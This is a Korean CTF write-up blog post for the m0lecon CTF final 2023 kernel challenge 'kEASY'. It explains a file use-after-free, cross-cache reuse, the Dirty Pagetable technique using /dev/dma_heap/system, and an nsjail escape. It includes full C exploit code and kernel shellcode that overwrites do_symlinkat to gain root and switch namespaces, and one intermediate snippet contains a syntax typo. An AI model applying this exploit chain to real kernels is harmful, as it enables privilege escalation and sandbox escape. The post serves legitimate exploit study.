[CTF] m0lecon CTF final 2023 - kEASY : Cross-Cache UAF + Dirty Pagetable + Escaping nsjail

The Orange·2023년 12월 20일
0

CTF

목록 보기
2/7

Original Reference : https://ptr-yudai.hatenablog.com/entry/2023/12/08/093606

1. Overview
2. Vulnerabilty
3. Cross-Cache UAF
4. Dirty Pagetable
	4-1. Dirty Pagetable VIA flie UAF
	4-2. /dev/dma_heap/system
    4-3. Arbitrary Physical Address Read / Write
5. Escaping nsjail
6. Finish

1. Overview

kEASY는 m0lecon CTF final 2023에 출제되었던 커널 문제입니다. 굉장히 제한된 nsjail 환경에서 커널 익스플로잇을 통해 root 권한을 얻고, nsjail까지 탈출해야합니다.

이 과정에서 실제 Real-World에서 볼 수 있는 Cross-Cache UAFDirty Pagetable과 같은 Kernel Exploit 기법이 사용되기 때문에, Real World에서의 Kernel Exploit을 공부하기에 좋은 문제입니다.

2. Vulnerabilty

static long keasy_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
	long ret = -EINVAL;
	struct file *myfile;
	int fd;

	if (!enabled) {
		goto out;
	}
	enabled = 0;

    myfile = anon_inode_getfile("[easy]", &keasy_file_fops, NULL, 0);

    fd = get_unused_fd_flags(O_CLOEXEC);
    if (fd < 0) {
        ret = fd;
        goto err;
    }

    fd_install(fd, myfile);

	if (copy_to_user((unsigned int __user *)arg, &fd, sizeof(fd))) {
		ret = -EINVAL;
		goto err;
	}

	ret = 0;
    return ret;

err:
    fput(myfile);
out:
	return ret;
}

취약점은 매우 간단합니다. 임의의 file을 만들고 해당 file을 fd_install 함수를 통해 fd를 할당하는데, copy_to_user 함수에서 에러가 발생한 경우 fput 함수로 file을 해제하지만, 할당된 fd는 닫지 않습니다. 때문에, User-Level에서 할당된 fd를 통해 해제된 file에 접근할 수 있습니다. 즉, Use-After-Free 취약점이 발생하게 됩니다.

3. Cross-Cache UAF

일반적으로 커널의 Slab 할당자는 Slab Cache를 통해서 메모리 관리를 하기 때문에, 해제된 file 오브젝트는 file 오브젝트로만 다시 할당될 수 있습니다.

대부분의 환경에서는, file 오브젝트에 대한 UAF를 통해 Dirty Cred 같은 굉장히 강력한 공격으로 이어갈 수 있지만, 해당 kEASY의 경우 nsjail로 인해서 /etc/passwd 파일에 접근하지 못하므로 다른 방법을 이용해야합니다.

결론적으로, Cross-Cache UAF를 통해 해제된 file 오브젝트를 file 오브젝트가 아닌 다른 커널 오브젝트에 할당될 수 있게 만들어야합니다.

방법은 매우 쉬운데, 그냥 file 오브젝트를 스프레잉 한다음 전부 해제하면, 해당 Slab Cache 자체가 해제되어 file 오브젝트가 아닌 다른 Slab Cache가 될 수 있는 상태가 됩니다.

4. Dirty Pagetable

Dirty Pagetable 기법의 주요 원리는 매우 간단합니다. PTE(Page Table Entry)는 가상메모리 주소와 실제 물리메모리 주소 간의 매핑을 저장하는데 구조체이며, 각 Entry에는 물리 메모리 주소가 담겨 있습니다.

공격자는 mmap 함수등을 이용해 다수의 PTE 객체를 스프레잉 함으로써 UAF 상태의 메모리에 PTE 객체를 할당할 수 있습니다. 이후 UAF 취약점을 통해 할당된 PTE 객체에 접근하여 임의의 물리메모리 주소를 Entry에 덮어쓸 경우, mmap 함수로 할당된 가상메모리를 참조할때, 덮어써진 물리메모리 주소에 접근할 수 있게 됩니다. 즉, 물리메모리를 대상으로 임의의 메모리 쓰기 및 읽기가 가능해집니다.

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/mman.h>

#define SPRAY_COUNT_1 0x100
#define SPRAY_COUNT_2 0x1000

void init_cpu(void){
    cpu_set_t set;
    CPU_ZERO(&set);
    CPU_SET(0, &set);
    if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {
        perror("[-] sched_setaffinity");
        exit(EXIT_FAILURE);    
    }
}

#define BYTES_PER_LINE 16
void hexdump(const unsigned char *buf, size_t len) {
    for (size_t i = 0; i < len; i++) {
        if (i % BYTES_PER_LINE == 0) {
            printf("%06zx: ", i);
        }

        printf("%02x ", buf[i]);

        if ((i + 1) % BYTES_PER_LINE == 0 || i == len - 1) {
            printf("\n");
        }
    }
}


int main(){
    init_cpu();
    
    int fd = open("/dev/keasy",O_RDWR);
    if(fd==-1){
        puts("open error");
        exit(-1);
    }
    
    char *spray_map[SPRAY_COUNT_2*2] = {0, };
    puts("[+] Spraying mmap");
    for(int i=0;i<SPRAY_COUNT_2*2;i++){
        spray_map[i] = mmap((void*)(0x13370000UL + i*0x10000UL), 0x8000, PROT_READ|PROT_WRITE,MAP_ANONYMOUS|MAP_SHARED, -1, 0);
        if(spray_map[i]==MAP_FAILED){
            puts("spray mmap error");
            exit(-1);
        }
    }

    int spray_fd[SPRAY_COUNT_1*2] = {0, };
    puts("[+] Spraying fd 1");
    for(int i=0;i<SPRAY_COUNT_1;i++){
        spray_fd[i] = open("/jail", O_RDONLY);
        if(spray_fd[i]==-1){
            puts("spray fd 1 error");
            exit(-1);
        }
    }

    puts("[+] Trigger UAF");
    int uaf_fd = spray_fd[SPRAY_COUNT_1-1] + 1;
    ioctl(fd, 0x0, 0x0);

    puts("[+] Spraying fd 2");
    for(int i=SPRAY_COUNT_1;i<SPRAY_COUNT_1*2;i++){
        spray_fd[i] = open("/jail", O_RDONLY);
        if(spray_fd[i]==-1){
            puts("spray fd 2 error");
            exit(-1);
        }
    }

    puts("[+] close sprayed fd");
    for(int i=0;i<SPRAY_COUNT_1*2;i++){
        close(spray_fd[i]);
    }

    puts("[+] Spraying PTE 1");
    for(int i=0;i<SPRAY_COUNT_2;i++){
        for(int ii=0;ii<8;ii++){
            spray_map[i][0x1000*ii] = '0' + ii;
        }
    }

    puts("[+] Spraying PTE 2");
    for(int i=SPRAY_COUNT_2;i<SPRAY_COUNT_2*2;i++){
        for(int ii=0;ii<8;ii++){
            spray_map[i][0x1000*ii] = '0 + ii;
        }
    }

    getchar();

    return 0;
}

다음은 kEASY의 취약점을 이용하여 UAF 상태의 file 오브젝트에 PTE를 할당하는 코드입니다. 주의해야할 점은, PTE는 mmap으로 가상메모리 주소를 할당받는 시점이 아닌, 해당 가상메모리에 접근하는 시점에서 생성된다는 것입니다.

fput 함수가 실행되는 시점에 breakpoint를 걸고 RDI 레지스터를 확인해보면 정상적으로 file 오브젝트가 할당된 상태라는 것을 알 수 있습니다.

이후 코드가 전부 실행된 시점에서 다시 해당 메모리를 확인해보면 위와 같이 임의의 물리메모리 주소가 담긴 PTE 오브젝트가 되었다는 것을 확인할 수 있습니다.

4-1. Dirty Pagetable VIA file UAF

UAF 상태의 커널 메모리에 PTE 오브젝트를 할당했다면, Dangling Pointer를 통해 해당 PTE 오브젝트에 접근할 수 있습니다. 해당 문제에서는 file 오브젝트로서 PTE 오브젝트에 접근할 수 있습니다. 따라서 file 오브젝트의 멤버 변수 중 User-Level에서 변경 가능한 값인 file->f_count를 이용하여 PTE 오브젝트를 수정할 수 있습니다.

file->f_countfile 오브젝트의 Reference Count입니다. 즉, dup 등의 함수로 해당 file 오브젝트를 참조하는 fd가 늘어날수록 file->f_count는 증가하며, close 등의 함수로 fd가 줄어들어 0이 될 경우, 해당 file 오브젝트는 해제됩니다.

공격자는 dup 함수를 통해 file->f_count를 증가시켜, PTE->Entry[7]의 값은 증가시킬 수 있습니다. 이때 프로세스 당 fd 제한을 우회하기 위해 fork를 이용할 수도 있습니다.

최종적으로, PTE->Entry[7]에 담긴 포인터가 물리 메모리 상에 임의의 커널 오브젝트를 가리키게 하는 것이 가능해지고, 이후 mmap으로 할당된 메모리에 접근하여 해당 커널 오브젝트를 덮어쓸 수 있습니다.

하지만 kEASY 문제에서는 nsjail로 인해 프로세스 갯수가 제한되어서 원하는 만큼 file->f_count를 늘릴 수 없습니다.

4-2. /dev/dma_heap/system

file->f_count를 원하는 만큼 느릴 수 없다고 하더라도, 공격자는 Kernel-Level <-> User-Level 사이에서 공유되는 메모리를 통해 Dirty Pagetable 공격을 할 수 있습니다. 이러한 공유 메모리를 생성할 수 있는 기능으로는 /dev/dma_heap/system이 있습니다. 해당 디바이스를 통해 할당되는 메모리는 PTE가 할당되는 물리 메모리 영역과 동일하고, User-Level에서 접근할 수 있기 때문에, 위와 같이 file->f_count를 0x1000 만큼 늘리는 것 만으로, 아래에 인접해 있는 PTE 오브젝트를 조작할 수 있습니다.

/dev/dma_heap/system는 안드로이드 시스템에서 주로 사용되며, 일반적인 Ubuntu에서는 활성화되어 있지 않는 것으로 보입니다. Ubuntu 등을 Exploit 할때에는 io_uring을 이용해 Kernel-Level <-> User-Level 사이에서 공유되는 메모리를 생성할 수 있습니다.

...

    int fd2 = open("/dev/dma_heap/system",O_RDWR);
    if(fd2==-1){
        puts("open error");
        exit(-1);
    }

...
    puts("[+] Spraying PTE 1");
    for(int i=0;i<SPRAY_COUNT_2;i++){
        for(int ii=0;ii<8;ii++){
            spray_map[i][0x1000*ii] = '0' + ii;
        }
    }

    struct dma_heap_allocation_data data;
    data.len = 0x1000;
    data.fd_flags = O_RDWR;
    data.heap_flags = 0;
    data.fd = 0;
    if (ioctl(fd2, 0xc0184800, &data) < 0){
        puts("ioctl failed");
        exit(-1);
    }
    printf("[+] dma_buf_fd: %d\n", data.fd);

    puts("[+] Spraying PTE 2");
    for(int i=SPRAY_COUNT_2;i<SPRAY_COUNT_2*2;i++){
        for(int ii=0;ii<8;ii++){
            spray_map[i][0x1000*ii] = '0' + ii;
        }
    }

    puts("[+] Increase file->f_count");
    for (int i=0;i<0x1000; i++){
        if(dup(uaf_fd)==-1){
            puts("dup failed");
            exit(-1);
        }
    }

    puts("[+] Searching Overlapped PTE->Entry[7]");
    void *overlapped_entry = 0;
    for(int i=0;i<SPRAY_COUNT_2*2;i++){
        if(spray_map[i][0x1000*7] != ('0' + 7)){
            overlapped_entry = &(spray_map[i][0x1000*7]);
            break;
        }
    }
    printf("[+] Overlapped PTE->Entry[7] : %p\n", overlapped_entry);

    puts("[+] Overlapped PTE->Entry[7] = dma_buf");
    munmap(overlapped_entry, 0x1000);
    char *dma_buf = mmap(overlapped_entry, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, data.fd, 0);
    if(dma_buf==MAP_FAILED){
        puts("dma_buf mmap error");
        exit(-1);
    }
    dma_buf[0] = '0';

    puts("[+] Increase file->f_count");
    for (int i=0;i<0x1000; i++){
        if(dup(uaf_fd)==-1){
            puts("dup failed");
            exit(-1);
        }
    }

    getchar();

다음은 Dirty Pagetable/dev/dma_heap/system를 이용해 임의의 PTE 오브젝트와 dma_buf를 오버랩시키는 코드입니다. 이후 dma_buf에 접근하는 것으로 PTE 오브젝트를 수정할 수 있습니다.

4-3. Arbitrary Physical Address Read / Write

공격자는 PTE 오브젝트를 수정하는 것으로, 특정 가상메모리 주소에 공격자가 원하는 물리메모리 주소를 매핑할 수 있습니다. 해당 가상메모리 주소에 접근하는 것으로, 공격자는 원하는 물리메모리 주소에 Read / Write를 할 수 있습니다. 이를 통해 특정 커널 오브젝트를 덮거나 커널 함수에 Shellcode를 삽입할 수 있습니다.

물리메모리에 대해 직접적인 접근을 하는 것이기 때문에 Write 권한이 없는 영역에도 Write를 할 수 있습니다. 따라서 임의의 커널 함수에 Shellcode를 삽입하는 것이 가능합니다.

    puts("[+] Leak Physical Address Base");
    *(unsigned long long*)dma_buf = 0x8000000000000067 + 0x09c000;
    char *target_pte = 0;
    for(int i=0;i<SPRAY_COUNT_2*2;i++){
        if(*(unsigned long long*)spray_map[i] > 0xffff){
            target_pte = &(spray_map[i][0]);
            break;
        }
    }

    long long unsigned physical_base = ((*(long long unsigned*)target_pte) & ~0xfff) - 0x1c04000;
    printf("[+] physical_base : %p\n", (void*)physical_base);

    puts("[+] Overwrite Kernel Function");
    long long unsigned symlink_addr = physical_base + 0x24d4c0;
    *(unsigned long long*)dma_buf = 0x8000000000000067 + (symlink_addr&~0xfff);
    memset(target_pte+(symlink_addr&0xfff),'a',0x100);

    getchar();

    puts("[+] Execute evil func!!");
    symlink("/jail/x", "/jail");

다음은 커널의 symlink 함수를 "a"*0x100으로 덮는 코드입니다. 0x09c000은 항상 고정된 물리메모리 주소이며, 이곳에는 커널 함수와 인접한 주소가 적혀있습니다. 따라서, 0x09c000 물리메모리 주소를 읽고, 해당 값에 임의의 오프셋을 더하거나 빼는 것으로 물리메모리 상에서 do_symlinkat 함수의 주소를 알아낼 수 있습니다.

이후 do_symlinkat 함수를 Shellcode로 덮어 익스플로잇할 수 있습니다.

PTE->Entry에 적인 물리메모리 주소에는 0x8000000000000067라는 플래그(?) 값이 기본적으로 붙어있고, 주소는 하위 12비트는 0이여야하는 것을 주의해야합니다.

gdb를 통해 확인해보면, 성공적으로 do_symlinkat 함수의 일부분이 "a"로 덮힌 것을 확인할 수 있습니다. 그대로 symlink 함수가 실행된다면 커널 패닉이 발생합니다.

xp/10gx : 물리메모리 기준으로 메모리 내용을 출력함.
p2v : 해당 물리메모리 주소를 매핑한 가상메모리 주소를 출력함.

5. Escaping nsjail

이제 커널 단에서 임의의 Shellcode를 실행시키는 것이 가능해졌습니다. 이후에는 단순히 commit_creds(init_cred)를 실행하고 Namespace를 탈출한 후 User-Level로 돌아오는 Shellcode를 실행시키면 됩니다.

  init_cred         equ 0x1445ed8
  commit_creds      equ 0x00ae620
  find_task_by_vpid equ 0x00a3750
  init_nsproxy      equ 0x1445ce0
  switch_task_namespaces equ 0x00ac140
  init_fs                equ 0x1538248
  copy_fs_struct         equ 0x027f890
  kpti_bypass            equ 0x0c00f41

_start:
  endbr64
  call a
a:
  pop r15
  sub r15, 0x24d4c9

  ; commit_creds(init_cred) [3]
  lea rdi, [r15 + init_cred]
  lea rax, [r15 + commit_creds]
  call rax

  ; task = find_task_by_vpid(1) [4]
  mov edi, 1
  lea rax, [r15 + find_task_by_vpid]
  call rax

  ; switch_task_namespaces(task, init_nsproxy) [5]
  mov rdi, rax
  lea rsi, [r15 + init_nsproxy]
  lea rax, [r15 + switch_task_namespaces]
  call rax

  ; new_fs = copy_fs_struct(init_fs) [6]
  lea rdi, [r15 + init_fs]
  lea rax, [r15 + copy_fs_struct]
  call rax
  mov rbx, rax

  ; current = find_task_by_vpid(getpid())
  mov rdi, 0x1111111111111111   ; will be fixed at runtime
  lea rax, [r15 + find_task_by_vpid]
  call rax

  ; current->fs = new_fs [8]
  mov [rax + 0x740], rbx

  ; kpti trampoline [9]
  xor eax, eax
  mov [rsp+0x00], rax
  mov [rsp+0x08], rax
  mov rax, 0x2222222222222222   ; win
  mov [rsp+0x10], rax
  mov rax, 0x3333333333333333   ; cs
  mov [rsp+0x18], rax
  mov rax, 0x4444444444444444   ; rflags
  mov [rsp+0x20], rax
  mov rax, 0x5555555555555555   ; stack
  mov [rsp+0x28], rax
  mov rax, 0x6666666666666666   ; ss
  mov [rsp+0x30], rax
  lea rax, [r15 + kpti_bypass]
  jmp rax

  int3

Shellcode는 다음과 같습니다. 실행 시점에서 0x1111111111111111 ~ 0x6666666666666666 부분에 적절한 값을 넣어주고 do_symlinkat 함수를 덮은 다음, symlink 함수를 실행해주면 성공적으로 nsjail을 탈출하고 권한 상승을 할 수 있습니다.

6. Finish

KASLR이 해제되어 있을 경우 물리메모리의 레이아웃이 달라져서 정상적으로 Base 주소를 유출하지 못합니다.

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/mman.h>

#define SPRAY_COUNT_1 0x100
#define SPRAY_COUNT_2 0x1000


struct dma_heap_allocation_data {
    unsigned long long len;
    unsigned int fd;
    unsigned int fd_flags;
    unsigned long long heap_flags;
};


void init_cpu(void){
    cpu_set_t set;
    CPU_ZERO(&set);
    CPU_SET(0, &set);
    if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {
        perror("[-] sched_setaffinity");
        exit(EXIT_FAILURE);    
    }
}

#define BYTES_PER_LINE 16
void hexdump(const unsigned char *buf, size_t len) {
    for (size_t i = 0; i < len; i++) {
        if (i % BYTES_PER_LINE == 0) {
            printf("%06zx: ", i);
        }

        printf("%02x ", buf[i]);

        if ((i + 1) % BYTES_PER_LINE == 0 || i == len - 1) {
            printf("\n");
        }
    }
}

unsigned long user_cs, user_ss, user_rsp, user_rflags;
static void save_state() {
  asm(
      "movq %%cs, %0\n"
      "movq %%ss, %1\n"
      "movq %%rsp, %2\n"
      "pushfq\n"
      "popq %3\n"
      : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
      :
      : "memory");
}

static void win() {
    puts("[+] win > _ <");
    char buf[0x100];
    int fd = open("/dev/sda", O_RDONLY);
    read(fd, buf, 0x100);
    write(1, buf, 0x100);
}

int main(){
    init_cpu();
    save_state();
    
    int fd = open("/dev/keasy",O_RDWR);
    if(fd==-1){
        puts("open error");
        exit(-1);
    }

    int fd2 = open("/dev/dma_heap/system",O_RDWR);
    if(fd2==-1){
        puts("open error");
        exit(-1);
    }

    char *spray_map[SPRAY_COUNT_2*2] = {0, };
    puts("[+] Spraying mmap");
    for(int i=0;i<SPRAY_COUNT_2*2;i++){
        spray_map[i] = mmap((void*)(0x13370000UL + i*0x10000UL), 0x8000, PROT_READ|PROT_WRITE,MAP_ANONYMOUS|MAP_SHARED, -1, 0);
        if(spray_map[i]==MAP_FAILED){
            puts("spray mmap error");
            exit(-1);
        }
    }

    int spray_fd[SPRAY_COUNT_1*2] = {0, };
    puts("[+] Spraying fd 1");
    for(int i=0;i<SPRAY_COUNT_1;i++){
        spray_fd[i] = open("/jail", O_RDONLY);
        if(spray_fd[i]==-1){
            puts("spray fd 1 error");
            exit(-1);
        }
    }

    puts("[+] Trigger UAF");
    int uaf_fd = spray_fd[SPRAY_COUNT_1-1] + 1;
    ioctl(fd, 0x0, 0x0);
    printf("[+] uaf_fd : %d\n", uaf_fd);

    puts("[+] Spraying fd 2");
    for(int i=SPRAY_COUNT_1;i<SPRAY_COUNT_1*2;i++){
        spray_fd[i] = open("/jail", O_RDONLY);
        if(spray_fd[i]==-1){
            puts("spray fd 2 error");
            exit(-1);
        }
    }

    puts("[+] close sprayed fd");
    for(int i=0;i<SPRAY_COUNT_1*2;i++){
        close(spray_fd[i]);
    }

    puts("[+] Spraying PTE 1");
    for(int i=0;i<SPRAY_COUNT_2;i++){
        for(int ii=0;ii<8;ii++){
            spray_map[i][0x1000*ii] = '0' + ii;
        }
    }

    struct dma_heap_allocation_data data;
    data.len = 0x1000;
    data.fd_flags = O_RDWR;
    data.heap_flags = 0;
    data.fd = 0;
    if (ioctl(fd2, 0xc0184800, &data) < 0){
        puts("ioctl failed");
        exit(-1);
    }
    printf("[+] dma_buf_fd: %d\n", data.fd);

    puts("[+] Spraying PTE 2");
    for(int i=SPRAY_COUNT_2;i<SPRAY_COUNT_2*2;i++){
        for(int ii=0;ii<8;ii++){
            spray_map[i][0x1000*ii] = '0' + ii;
        }
    }

    puts("[+] Increase file->f_count");
    for (int i=0;i<0x1000; i++){
        if(dup(uaf_fd)==-1){
            puts("dup failed");
            exit(-1);
        }
    }

    puts("[+] Searching Overlapped PTE->Entry[7]");
    void *overlapped_entry = 0;
    for(int i=0;i<SPRAY_COUNT_2*2;i++){
        if(spray_map[i][0x1000*7] != ('0' + 7)){
            overlapped_entry = &(spray_map[i][0x1000*7]);
            break;
        }
    }
    printf("[+] Overlapped PTE->Entry[7] : %p\n", overlapped_entry);

    puts("[+] Overlapped PTE->Entry[7] = dma_buf");
    munmap(overlapped_entry, 0x1000);
    char *dma_buf = mmap(overlapped_entry, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, data.fd, 0);
    if(dma_buf==MAP_FAILED){
        puts("dma_buf mmap error");
        exit(-1);
    }
    dma_buf[0] = '0';

    puts("[+] Increase file->f_count");
    for (int i=0;i<0x1000; i++){
        if(dup(uaf_fd)==-1){
            puts("dup failed");
            exit(-1);
        }
    }

    puts("[+] Leak Physical Address Base");
    *(unsigned long long*)dma_buf = 0x8000000000000067 + 0x09c000;
    char *target_pte = 0;
    for(int i=0;i<SPRAY_COUNT_2*2;i++){
        if(*(unsigned long long*)spray_map[i] > 0xffff){
            target_pte = &(spray_map[i][0]);
            break;
        }
    }

    long long unsigned physical_base = ((*(long long unsigned*)target_pte) & ~0xfff) - 0x1c04000;
    printf("[+] physical_base : %p\n", (void*)physical_base);

    puts("[+] Overwrite Kernel Function");
    long long unsigned symlink_addr = physical_base + 0x24d4c0;
    *(unsigned long long*)dma_buf = 0x8000000000000067 + (symlink_addr&~0xfff);

    char shellcode[] = {0xf3, 0x0f, 0x1e, 0xfa, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x5f, 0x49, 0x81, 0xef, 0xc9, 0xd4, 0x24, 0x00, 0x49, 0x8d, 0xbf, 0xd8, 0x5e, 0x44, 0x01, 0x49, 0x8d, 0x87, 0x20, 0xe6, 0x0a, 0x00, 0xff, 0xd0, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x49, 0x8d, 0x87, 0x50, 0x37, 0x0a, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xc7, 0x49, 0x8d, 0xb7, 0xe0, 0x5c, 0x44, 0x01, 0x49, 0x8d, 0x87, 0x40, 0xc1, 0x0a, 0x00, 0xff, 0xd0, 0x49, 0x8d, 0xbf, 0x48, 0x82, 0x53, 0x01, 0x49, 0x8d, 0x87, 0x90, 0xf8, 0x27, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xc3, 0x48, 0xbf, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x49, 0x8d, 0x87, 0x50, 0x37, 0x0a, 0x00, 0xff, 0xd0, 0x48, 0x89, 0x98, 0x40, 0x07, 0x00, 0x00, 0x31, 0xc0, 0x48, 0x89, 0x04, 0x24, 0x48, 0x89, 0x44, 0x24, 0x08, 0x48, 0xb8, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x48, 0x89, 0x44, 0x24, 0x10, 0x48, 0xb8, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x48, 0x89, 0x44, 0x24, 0x18, 0x48, 0xb8, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 0xb8, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0xb8, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x48, 0x89, 0x44, 0x24, 0x30, 0x49, 0x8d, 0x87, 0x41, 0x0f, 0xc0, 0x00, 0xff, 0xe0, 0xcc};
    void *p;
    p = memmem(shellcode, sizeof(shellcode), "\x11\x11\x11\x11\x11\x11\x11\x11", 8);
    *(size_t*)p = getpid();
    p = memmem(shellcode, sizeof(shellcode), "\x22\x22\x22\x22\x22\x22\x22\x22", 8);
    *(size_t*)p = (size_t)&win;
    p = memmem(shellcode, sizeof(shellcode), "\x33\x33\x33\x33\x33\x33\x33\x33", 8);
    *(size_t*)p = user_cs;
    p = memmem(shellcode, sizeof(shellcode), "\x44\x44\x44\x44\x44\x44\x44\x44", 8);
    *(size_t*)p = user_rflags;
    p = memmem(shellcode, sizeof(shellcode), "\x55\x55\x55\x55\x55\x55\x55\x55", 8);
    *(size_t*)p = user_rsp;
    p = memmem(shellcode, sizeof(shellcode), "\x66\x66\x66\x66\x66\x66\x66\x66", 8);
    *(size_t*)p = user_ss;

    memcpy(target_pte+(symlink_addr&0xfff),shellcode,sizeof(shellcode));

    puts("[+] Execute evil func!!");
    symlink("/jail/x", "/jail");

    
    return 0;
}

0개의 댓글